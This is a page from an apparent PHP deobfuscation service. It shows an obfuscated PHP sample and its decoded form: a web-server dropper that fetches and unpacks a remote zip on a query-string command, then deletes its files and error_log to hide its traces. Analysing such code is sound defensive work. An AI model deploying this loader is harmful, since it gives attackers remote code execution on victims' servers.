Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\..

Decoded Output download

?><?php 
if ($_GET['check'] == 'start')
	{
		if (isset ($_GET['archive']))
			{
				$url = $_GET['archive'];
				$put = $_SERVER['SCRIPT_FILENAME'];
				$put = str_replace("router.php", "", "$put");
				mkdir("$put/1", 0777);
				copy($url, "$put/1/1.zip");
				
				if (file_exists("$put/1/1.zip"))
						{
							set_time_limit(0);
							$zip = new ZipArchive;
							$zip->open("$put/1/1.zip");
							$zip->extractTo('./1/');
							$zip->close();
						}
				$url = str_replace("1.zip", "", "$url");
				$f = fopen ("1/server_name.txt", "a");
				fwrite($f, "$url");
				fclose($f);
				
				$domen = $_SERVER['SERVER_NAME'];
			}
		echo "Client \"$domen\" - has been activated!<br>";
	}
	
if ($_GET['check'] == 'finish')
	{	
		$dir = dirname(__FILE__)."/1/";
		$arr_filename = array ();
	
		if (is_dir($dir)) 
		{
			if ($dh = opendir($dir)) 
			{
				while (($file = readdir($dh)) !== false) 
				{
					if (($file != ".") and ($file != ".."))
					{
						$arr_filename[] = $file;
					}
				}
				closedir($dh);
			}
		}

		foreach ($arr_filename as $key)
		{
			$key = trim($key);
			if (file_exists("1/$key"))
				unlink("1/$key");
		}

		if (file_exists("error_log"))
			unlink("error_log");

		if (is_dir('1'))
			rmdir("1");
		if (is_dir('1'))
			echo "Error!";
		else
			echo "Client has been destroyed!";
	}
?>

Did this file decode correctly?

Original Code

<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'vVjJjpwwEL1Hyj+0WnNILiMwXkCj/MlcZoA+5Rz158e12cYYTDeTHKw2BqpeVb1a6Jf7eBuny+X11+X6fu9ufs1+jbR3zfvd9vSr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zx/X+K1E5t/gWdz1iz4UDG+Ijaz7DsP6dqZa+szKttult97iFnk6W3sKd/pv97r2/zn4/ePF/ob+PXC/0PABgdh2EAl/vn2Fw=='\x29\x29\x29\x3B","");
?>

Function Calls

gzinflate 1
preg_replace 1
base64_decode 1

Variables

$x5055 closedir($dh); } } foreach ($arr_filename as $..
$x9de6 $zip = new ZipArchive; $zip->open("$put/1/1.zip..
$xcfcd ?><?php if ($_GET['check'] == 'start') { if (isset ($..
$xe584 activated!<br>"; } if ($_GET['check'] == 'finish') {..

Stats

MD5 fe6de33dce4fa5e35fc911e2dc833bf5
Eval Count 3
Decode Time 112 ms